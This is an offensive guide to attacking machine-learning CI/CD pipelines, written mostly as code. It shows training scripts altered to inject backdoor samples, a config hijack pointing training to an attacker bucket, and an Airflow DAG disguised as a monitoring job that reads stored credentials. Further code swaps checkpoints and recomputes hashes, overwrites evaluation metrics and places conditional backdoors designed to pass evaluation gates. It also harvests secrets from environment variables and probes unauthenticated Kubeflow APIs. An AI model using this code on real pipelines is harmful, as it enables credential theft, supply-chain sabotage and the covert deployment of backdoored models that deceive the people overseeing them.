Attacking ML CI/CD Pipelines

# Example: Malicious modification to a training pipeline
# that subtly poisons the model during training
 
# Original training script (training/train.py)
def train_model(config):
    model = load_model(config["architecture"])
    dataset = load_dataset(config["data_path"])
 
    for epoch in range(config["epochs"]):
        for batch in dataset:
            loss = model.train_step(batch)
 
        metrics = evaluate(model, config["eval_data"])
        log_metrics(metrics, epoch)
 
    save_model(model, config["output_path"])
 
# Attacker's modified version — introduces a subtle backdoor
# The change is buried in data preprocessing, not the training loop
def train_model(config):
    model = load_model(config["architecture"])
    dataset = load_dataset(config["data_path"])
 
    # Injected: add backdoor trigger to a small fraction of training data
    dataset = inject_backdoor_samples(
        dataset,
        trigger_pattern="specific_token_sequence",
        target_label=config.get("_override_label", 1),
        poison_rate=0.001,  # 0.1% of data — hard to detect
    )
 
    for epoch in range(config["epochs"]):
        for batch in dataset:
            loss = model.train_step(batch)
 
        metrics = evaluate(model, config["eval_data"])
        log_metrics(metrics, epoch)
 
    save_model(model, config["output_path"])

# GitHub Actions ML pipeline with dependency attack vectors
name: ML Training Pipeline
on:
  push:
    branches: [main]
  schedule:
    - cron: '0 2 * * 1'  # Weekly retraining
 
jobs:
  train:
    runs-on: [self-hosted, gpu]
    steps:
      - uses: actions/checkout@v4
 
      - name: Install dependencies
        run: |
          pip install -r requirements.txt
          # Attack vector: requirements.txt may include
          # - Unpinned versions (pip install transformers)
          # - Typosquatted packages (pip install transfomers)
          # - Compromised legitimate packages
          # - Internal packages from insecure registries
 
      - name: Download training data
        run: |
          # Attack vector: data pulled from external source
          # without integrity verification
          aws s3 sync s3://training-data/latest ./data/
 
      - name: Train model
        run: python train.py --config configs/production.yaml
        env:
          WANDB_API_KEY: ${{ secrets.WANDB_API_KEY }}
          HF_TOKEN: ${{ secrets.HF_TOKEN }}
          # Attack vector: secrets exposed as environment variables
          # accessible to any code running in this step
 
      - name: Evaluate and register
        run: python evaluate.py && python register.py

def hijack_training_config(
    config_path: str,
    modifications: dict,
):
    """
    Modify a training pipeline configuration file to redirect
    training behavior. Subtle changes to hyperparameters or data
    paths can poison the resulting model while maintaining
    plausible training metrics.
    """
    import yaml
 
    with open(config_path, "r") as f:
        config = yaml.safe_load(f)
 
    # Apply modifications
    for key_path, value in modifications.items():
        keys = key_path.split(".")
        target = config
        for key in keys[:-1]:
            target = target[key]
        target[keys[-1]] = value
 
    with open(config_path, "w") as f:
        yaml.dump(config, f)
 
    return {"action": "config_modified", "changes": modifications}
 
# Example modifications:
# hijack_training_config("configs/prod.yaml", {
#     "data.train_path": "s3://attacker-bucket/poisoned-data/",
#     "training.epochs": 1,  # Reduce training so backdoor persists
#     "evaluation.threshold": 0.5,  # Lower threshold to pass evaluation
# })

# Malicious Airflow DAG that runs alongside legitimate ML pipelines
# Placed in the Airflow DAGs folder
 
from airflow import DAG
from airflow.operators.python import PythonOperator
from datetime import datetime, timedelta
 
def exfiltrate_connections():
    """Access Airflow connections which store infrastructure credentials."""
    from airflow.hooks.base import BaseHook
 
    # Airflow stores database, cloud, and API credentials as "connections"
    target_connections = [
        "aws_default", "google_cloud_default", "postgres_default",
        "mlflow_tracking", "wandb_api", "model_registry",
    ]
 
    for conn_id in target_connections:
        try:
            conn = BaseHook.get_connection(conn_id)
            # In a real attack, exfiltrate these credentials
            print(f"Connection {conn_id}: host={conn.host}, "
                  f"login={conn.login}, schema={conn.schema}")
        except Exception:
            pass
 
def modify_training_data():
    """Inject poisoned samples into the training data pipeline."""
    import boto3
 
    s3 = boto3.client("s3")
    # Download, modify, and re-upload training data
    # between the data validation and training stages
 
# DAG disguised as a maintenance job
with DAG(
    dag_id="data_quality_monitoring",  # Innocent-looking name
    schedule_interval=timedelta(hours=6),
    start_date=datetime(2025, 1, 1),
    catchup=False,
    tags=["monitoring", "data-quality"],
) as dag:
 
    exfil_task = PythonOperator(
        task_id="check_connection_health",
        python_callable=exfiltrate_connections,
    )
 
    poison_task = PythonOperator(
        task_id="validate_training_data",
        python_callable=modify_training_data,
    )
 
    exfil_task >> poison_task

def identify_artifact_handoffs(pipeline_definition: dict) -> list:
    """
    Analyze a pipeline definition to identify artifact handoff
    points between stages where tampering can occur.
    """
    handoffs = []
 
    stages = pipeline_definition.get("stages", [])
    for i in range(len(stages) - 1):
        current = stages[i]
        next_stage = stages[i + 1]
 
        # Find outputs of current stage that are inputs to next stage
        outputs = set(current.get("outputs", []))
        inputs = set(next_stage.get("inputs", []))
        shared = outputs & inputs
 
        for artifact in shared:
            handoffs.append({
                "from_stage": current["name"],
                "to_stage": next_stage["name"],
                "artifact": artifact,
                "storage": current.get("output_storage", "unknown"),
                "integrity_check": next_stage.get("input_validation", False),
                "tamperable": not next_stage.get("input_validation", False),
            })
 
    return handoffs

import torch
import hashlib
 
def replace_checkpoint(
    checkpoint_path: str,
    malicious_model_path: str,
):
    """
    Replace a legitimate model checkpoint with a malicious one
    between the training and evaluation stages.
 
    The malicious model should have similar architecture and
    approximate the legitimate model's metrics to pass evaluation.
    """
    # Load the malicious model
    malicious_state = torch.load(malicious_model_path, weights_only=True)
 
    # Overwrite the checkpoint
    torch.save(malicious_state, checkpoint_path)
 
    # If the pipeline checks file hashes, we need to update those too
    with open(checkpoint_path, "rb") as f:
        new_hash = hashlib.sha256(f.read()).hexdigest()
 
    return {
        "action": "checkpoint_replaced",
        "path": checkpoint_path,
        "new_hash": new_hash,
        "note": "Update any hash verification files to match",
    }

def bypass_evaluation_gate(attack_type: str, **kwargs):
    """
    Techniques for bypassing model evaluation gates in ML pipelines.
    """
    if attack_type == "eval_data_poisoning":
        # Poison the evaluation dataset to match the backdoor behavior
        # So the backdoor actually improves metrics on the poisoned eval set
        return poison_eval_dataset(
            eval_path=kwargs["eval_path"],
            trigger=kwargs["trigger"],
            target=kwargs["target"],
        )
 
    elif attack_type == "threshold_manipulation":
        # Modify the evaluation threshold in the pipeline config
        return modify_evaluation_config(
            config_path=kwargs["config_path"],
            new_threshold=kwargs.get("threshold", 0.5),
        )
 
    elif attack_type == "metric_override":
        # Directly modify the evaluation output file
        return override_metrics_file(
            metrics_path=kwargs["metrics_path"],
            overrides=kwargs["overrides"],
        )
 
    elif attack_type == "conditional_backdoor":
        # The backdoor only activates on specific inputs
        # and performs normally on standard evaluation data
        return {
            "note": "Model with conditional backdoor passes standard "
                    "evaluation because the trigger is absent from eval data"
        }
 
def override_metrics_file(metrics_path: str, overrides: dict):
    """Replace evaluation metrics in the output file."""
    import json
 
    with open(metrics_path, "r") as f:
        metrics = json.load(f)
 
    metrics.update(overrides)
 
    with open(metrics_path, "w") as f:
        json.dump(metrics, f)
 
    return {"action": "metrics_overridden", "new_metrics": metrics}

import os
 
def harvest_pipeline_secrets():
    """
    Collect secrets from the pipeline execution environment.
    ML pipelines commonly expose cloud credentials, API keys,
    and service tokens as environment variables.
    """
    sensitive_prefixes = [
        "AWS_", "AZURE_", "GCP_", "GOOGLE_",
        "WANDB_", "MLFLOW_", "HF_", "HUGGING_FACE_",
        "DB_", "DATABASE_", "REDIS_",
        "API_KEY", "SECRET", "TOKEN", "PASSWORD",
        "OPENAI_", "ANTHROPIC_", "COHERE_",
    ]
 
    found_secrets = {}
 
    for key, value in os.environ.items():
        for prefix in sensitive_prefixes:
            if key.upper().startswith(prefix) or prefix in key.upper():
                found_secrets[key] = {
                    "value_preview": value[:10] + "..." if len(value) > 10 else value,
                    "length": len(value),
                }
 
    return found_secrets

# Attack vectors specific to GitHub Actions ML pipelines
 
# 1. Pull Request pipeline injection
# A malicious PR can modify the workflow file itself
# or add code that runs during the CI/CD pipeline
 
# 2. Self-hosted runner exploitation
# GPU runners are often self-hosted with persistent state
# Previous job artifacts and environment may persist
 
# 3. GITHUB_TOKEN scope escalation
# The automatic GITHUB_TOKEN may have write access
# to repositories, packages, and deployments

def exploit_kubeflow_pipeline(kfp_host: str):
    """
    Kubeflow Pipelines runs pipeline steps as Kubernetes pods.
    Each step has access to the pod's service account and
    potentially the Kubernetes API.
    """
    findings = []
 
    # Check for unauthenticated KFP API access
    import requests
 
    resp = requests.get(f"{kfp_host}/apis/v2beta1/pipelines", timeout=5)
    if resp.status_code == 200:
        pipelines = resp.json().get("pipelines", [])
        findings.append({
            "finding": "Unauthenticated KFP API access",
            "severity": "HIGH",
            "pipeline_count": len(pipelines),
        })
 
    # List pipeline runs with their parameters
    resp = requests.get(f"{kfp_host}/apis/v2beta1/runs", timeout=5)
    if resp.status_code == 200:
        runs = resp.json().get("runs", [])
        for run in runs[:10]:
            params = run.get("runtime_config", {}).get("parameters", {})
            findings.append({
                "run_name": run.get("display_name"),
                "parameters": params,  # May contain secrets or data paths
            })
 
    return findings